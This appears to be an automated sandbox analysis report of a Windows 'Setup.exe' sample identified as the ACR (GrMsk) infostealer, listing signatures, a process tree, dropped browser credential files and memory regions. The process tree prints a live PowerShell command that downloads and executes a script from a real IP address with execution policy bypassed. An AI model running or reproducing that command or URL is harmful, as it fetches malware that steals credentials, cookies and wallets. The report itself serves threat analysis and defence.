Analysis

  • max time kernel
    153s
  • max time network
    103s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/11/2025, 15:54

General

  • Target
    Setup.exe
  • Size 672.3MB
  • Sample251104-tcmsyadn7v
  • SHA256 962bdc61115c4f4bbf4a70a01c5adebd457cab719013ab971b6ca09dfb345c84
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Signatures

  • ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Acrstealer family
  • Detects unpacked ACRstealer payload 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1172
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5208
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2380
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:5480
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        2⤵
          PID:5332
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          2⤵
            PID:5448
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
            2⤵
              PID:1476
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              2⤵
                PID:1340
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                2⤵
                  PID:1760
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                  2⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1404
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\SysWOW64\rundll32.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:5972
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\SysWOW64\rundll32.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:5620
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 572
                    3⤵
                    • Program crash
                    PID:5804
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:2144
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:228
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5620 -ip 5620
                    1⤵
                      PID:484

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 72d049174f8bb874a5db67735ce76cab400f25a72391ec557ef2720785b4c4ac
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 5b277edf550545d134d0471d153b13004ae47e02b0402787dd370d692ee7c4e0
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 130KB
                          • SHA256 923f062c347d27181becb161461c74f16da65103ad7c1a1f9b021d7945137c56
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_ay0zr4jk.uoq.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ay0zr4jk.uoq.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          memory/1172-1266-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1336-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1322-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1354-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1369-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1347-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1382-0x00000000FFE30000-0x00000000FFE4C000-memory.dmp

                          memory/1172-1329-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1315-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1308-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1301-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1294-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1280-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1273-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1210-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1259-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1252-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1245-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1238-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1231-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1224-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1217-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1203-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1196-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1189-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1182-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1175-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1168-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1161-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1154-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1361-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1147-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-1145-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1142-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-1139-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-1136-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-1134-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-1133-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-0-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-3-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-1287-0x0000000003740000-0x0000000003782000-memory.dmp

                          memory/1172-1421-0x0000000003C40000-0x0000000003C5A000-memory.dmp

                          memory/1172-1396-0x0000000003C30000-0x0000000003C33000-memory.dmp

                          memory/1172-1561-0x0000000000400000-0x0000000001BAE000-memory.dmp

                          memory/1172-1395-0x00000000FFE60000-0x00000000FFE61000-memory.dmp

                          memory/1172-14-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-10-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-22-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-8-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-5-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1172-6-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/1340-1806-0x0000019B1D460000-0x0000019B1D462000-memory.dmp

                          memory/1404-2048-0x0000000007660000-0x0000000007CDA000-memory.dmp

                          memory/1404-1822-0x0000000005AA0000-0x0000000005B06000-memory.dmp

                          memory/1404-1821-0x0000000005A30000-0x0000000005A96000-memory.dmp

                          memory/1404-1829-0x0000000005C20000-0x0000000005F77000-memory.dmp

                          memory/1404-2053-0x000000000C000000-0x000000000C022000-memory.dmp

                          memory/1404-1820-0x0000000005990000-0x00000000059B2000-memory.dmp

                          memory/1404-2054-0x000000000D6F0000-0x000000000DC96000-memory.dmp

                          memory/1404-2052-0x000000000D0A0000-0x000000000D136000-memory.dmp

                          memory/1404-1813-0x0000000004C30000-0x0000000004C66000-memory.dmp

                          memory/1404-2049-0x0000000006FA0000-0x0000000006FBA000-memory.dmp

                          memory/1404-1814-0x0000000005330000-0x000000000595A000-memory.dmp

                          memory/1404-1830-0x00000000060D0000-0x00000000060EE000-memory.dmp

                          memory/1404-1834-0x0000000006120000-0x000000000616C000-memory.dmp

                          memory/1476-1803-0x0000020DC1060000-0x0000020DC1062000-memory.dmp

                          memory/1760-1809-0x00000153329F0000-0x00000153329F2000-memory.dmp

                          memory/2380-1793-0x00000133398B0000-0x00000133398B2000-memory.dmp

                          memory/5208-1723-0x000001CB30360000-0x000001CB30362000-memory.dmp

                          memory/5332-1797-0x00000248EFEE0000-0x00000248EFEE2000-memory.dmp

                          memory/5448-1800-0x0000021A3D820000-0x0000021A3D822000-memory.dmp

                          memory/5480-1794-0x0000024C6B6B0000-0x0000024C6B6B2000-memory.dmp

                          memory/5620-1831-0x00000000014B0000-0x00000000014B3000-memory.dmp

                          memory/5620-1832-0x0000000003A90000-0x00000000040A0000-memory.dmp

                          memory/5620-1840-0x0000000003A90000-0x00000000040A0000-memory.dmp

                          memory/5620-1838-0x0000000003A90000-0x00000000040A0000-memory.dmp

                          memory/5972-1815-0x00000000007C0000-0x00000000007C3000-memory.dmp

                          memory/5972-1816-0x0000000000D40000-0x0000000000D92000-memory.dmp